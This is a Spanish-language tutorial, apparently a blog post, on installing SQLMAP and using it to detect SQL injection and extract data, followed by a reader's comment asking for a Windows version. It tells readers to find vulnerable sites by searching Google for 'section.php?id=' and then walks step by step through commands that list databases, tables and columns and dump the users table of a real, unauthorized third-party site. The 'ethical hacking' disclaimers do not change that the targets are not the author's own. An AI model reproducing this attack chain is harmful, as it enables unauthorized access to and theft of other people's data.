Esta herramienta sirve para testear servidores de bases de datos. SQLMAP permite testear muchos motores de bases de datos y muchas características especificas para testear la seguridad de una base de datos. Aquí cabe aclarar que esto lo hacemos para buscar vulnerabilidades y solucionar problemas no para romper sitios web, ni hackear en forma daniña, esto se llama Ethical Hacking, buscar vulnerabiliades para repararlas, no para explotarlas maliciosamente.
Soporta una gran variedad de motores de bases de datos como ser MySQL, Oracle, PostgreSQL, Microsoft SQL Server, SQLite, Firebird, Sybase, SAP MaxDB.
SQLMAP esta desarrollada en Python, se puede descargar desde la web http://sqlmap.org/funciona sobre Linux pero con Python puede utilizarse en Windows.
Sqlmap está incluido en distros Linux especializadas en seguridad y Hacking Etico como linux kali, Backtrack o Backbox. En otras distribuciones se puede simplemente descargar e instalar.
Para este tutorial utilizaremos Linux Mint en cualquier distribución funciona. Abrimos la terminal y escribimos los siguientes comandos:
wget 'https://github.com/sqlmapproject/sqlmap/tarball/master' –output-document=sqlmapproject-sqlmap-0.9-3671-gdcaad75.tar.gzAl descargar descomprimimos el archivo con el siguiente comando:
tar -xvf sqlmapproject-sqlmap-0.9-3671-gdcaad75.tar.gzPodemos cambiar el nombre del directorio para que sea más simple acceder con el siguiente comandos:
mv directorio-viejo -directorio-nuevo
mv sqlmapproject-sqlmap-gdcaad75 sqlmap
cd sqlmapProbamos que funcione invocando la versión de sqlmap con el siguiente comando:
python sqlmap.py –version
Probando sitios web y buscando Vulnerabilidades
Una forma simple de encontrar web para analizar es poner en el buscador de google section.php?id= y nos aparecerán miles de web que podrían ser vulnerables.
Ejemplo de análisis sobre una web posiblemente insegura:
En este caso luego de analizar la web e intentar acceder Vemos que todos los parámetros analizados parecen no inyectables, lo que supone que la web es segura en este caso contra inyecciones.
Probamos otro caso cambiamos el nombre real del nombre del dominio por seguridad pero los parámetros son reales.
python sqlmap.py -u http://www.demoweb.com/index.php?seccion=ver_detalle&id=103
En este caso SQLMAP ha encontrado una posibilidad de inyección sql, por lo tanto nos avisa que el
parámetro 'seccion' parece ser parte de una consulta MySQL 5.0.11 y podría ser inyectable, entonces nos solicita si queremos intentar una ataque a esta base de datos o saltarla y probar con otros motores de base de datos, Pulsamos Y y el software comienza a realizar diversos ataques y testeos. Nos devolverá todos los resultados de posibles a taques de inyección sql.
Descubrir Bases de datos y tablas vulnerables
Mediante el test anterior podemos detectar y confirmar que una base de datos o una web es vulnerable a la inyección de SQL y por lo tanto el siguiente paso es averiguar los nombres de las bases de datos que existen en el servidor o dominio. La opción "--dbs" se utiliza para obtener la lista de bases de datos.
python sqlmap.py -u "http://www.demoweb.com/index.php?seccion=ver_detalle&id=103" –dbs
Vemos que detecto una vulnerabilidad entonces solicita comenzar el ataque de inyección Sql. Al finalizar vemos las consultas sql realizadas, las bases de datos detectadas en este caso son dos baxxxx_db que es la del sitio web que estamos testeando, la otra information_schema la que contiene la estructura de Mysql.
Aquí cabe recordar que aclarar que esto lo hacemos para buscar vulnerabilidades y solucionar problemas no para romper sitios web ni hackear en forma dañina, esto se llama Ethical Hacking, buscar vulnerabilidades para repararlas, no para explotarlas maliciosamente.
Buscar tablas de una base de datos determinada
A continuación habiendo encontrado una base de datos, sera ahora es el momento de averiguar que existen las tablas en una base de datos en particular, según el ejemplo tenemos una base de datos de sistema y otra que almacena los datos de la web.. Digamos que la base de datos de interés aquí es la de la web baxxxx_db.
La sintaxis del comando a ejecutar sera la siguiente:
python sqlmap.py -u "urlservidor" --tables -D basedatosPor lo tanto utilizamos lños datos encontrados en los pasos anteriores
python sqlmap.py -u "http://www.demoweb.com/index.php?seccion=ver_detalle&id=103" –tables -D baxxxx_db
Podemos observar como el resultado de SQLMAP, es un listado de tablas donde podemos ver la tabla de usuarios y una tabla de administradores de la web seguramente.
Esto de muestra lo inseguro que es el servidor que estamos analizando y los problemas que podría tener el desprevenido administrador o webmaster.
A continuación como ya hemos averiguado las bases de datos y las tablas que existen veremos si podemos investigar que columnas y estructura tienen las tablas de la base de datos.
Para ello utilizaremos la siguiente sintaxis de comandos:
python sqlmap.py -u "urlservidor" --columns -D basededatos -T tablaPor lo tanto utilizamos los datos encontrados en los pasos anteriores veremos la tabla de administradores, utilizando los siguientes comandos.
python sqlmap.py -u "http://www.demoweb.com/index.php?seccion=ver_detalle&id=103" --columns -D baxxxx_db -T administrador
Podemos observar como resultado la estructura de la tabla administrador de la base de datos MYSQL, debido a los problemas de seguridad del servidor.
A continuación probamos a realizar el mismo análisis con la tabla usuarios:
python sqlmap.py -u "http://www.demoweb.com/index.php?seccion=ver_detalle&id=103" --columns -D baxxxx_db -T usuarios
Luego de realizar el análisis SQLMAP nos muestra las 9 columnas que componen la estructura de la tabla.
Mostrar los datos de un tabla en particular datos de una tabla.
A continuación demostraremos la parte mas interesante, que es el objetivo buscado que es la extracción de los datos de la tabla, veremos como alguien podría acceder a manipular los datos, un buen administrador de red busca que esto no suceda . El comando para ver los datos sera:
python sqlmap.py -u "urlservidor" --dump -D basedatos -T tablaEl comando anterior –dump lo que hace es simplemente volcar los datos de la tabla en particular, muy similar a la función que cumple el comando mysqldump, incluso la impresión de datos en la pantalla tiene un aspecto similar.
A continuación probamos a realizar el mismo análisis con la tabla usuarios
python sqlmap.py -u "http://www.demoweb.com/index.php?seccion=ver_detalle&id=103" " --dump -D baxxxx_db -T usuarios
Hasta ahora hemos sido capaces de recoger una gran cantidad de información de una base de datos remota de un servidor inseguro en su base de datos utilizando sqlmap. El motor de base de datos es Mysql y a travez de sqlmap, Es casi como tener acceso directo a la base de datos a través de una herramienta como phpmyadmin.
En este tutorial los análisis son reales pero se han realizado con fines de verificar vulnerabilidades, en ataques de hackers podrían intentar ganar un nivel administrador para acceder al sistema. Para ello, se tratarían de acceder a contraseñas y tratar de iniciar sesión a través del panel de administración o que tratarían de obtener información de una empresa y sus datos mas valiosos.
En otro tutorial explicaremos como utilizar SQLMAP para comprobar si los formularios de una web son seguros al enviar datos o no.
Buen tuto amigo pero podrias compartirlo para windows